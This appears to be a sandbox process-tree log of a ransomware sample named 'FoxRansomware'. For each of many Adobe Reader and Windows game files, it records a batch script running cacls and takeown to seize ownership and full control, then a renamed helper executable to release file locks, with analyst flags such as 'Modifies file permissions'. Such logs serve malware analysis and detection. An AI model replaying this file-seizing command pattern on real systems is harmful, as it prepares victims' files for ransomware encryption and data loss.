C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "DisplayLanguageNames.en_CA.txt" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "DisplayLanguageNames.en_CA.txt" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "can.fca" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "can.fca" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.ths""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.ths" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.ths"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "usa03.ths" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "usa03.ths" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "GREEK.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "GREEK.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "CP1253.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "CP1253.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "MahjongMCE.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "MahjongMCE.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "eula.ini" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "eula.ini" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "AcroSign.prc" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "AcroSign.prc" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "AGMGPUOptIn.ini" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "AGMGPUOptIn.ini" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "AUMProduct.cer" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "AUMProduct.cer" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "forms_distributed.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "forms_distributed.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "reviews_sent.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "reviews_sent.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "stop_collection_data.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "stop_collection_data.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "ReadMe.htm" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "ReadMe.htm" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "MinionPro-It.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "MinionPro-It.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "ZX______.PFB" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "ZX______.PFB" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "brt04.hsp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "brt04.hsp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "engphon.env" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "engphon.env" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "CORPCHAR.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "CORPCHAR.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "CP1250.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "CP1250.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "MyriadCAD.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "MyriadCAD.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "create_form.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "create_form.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "info.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "info.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "review_same_reviewers.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "review_same_reviewers.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "trash.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "trash.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "CourierStd-Bold.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "CourierStd-Bold.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "MyriadPro-It.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "MyriadPro-It.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "DisplayLanguageNames.en_GB.txt" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "DisplayLanguageNames.en_GB.txt" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
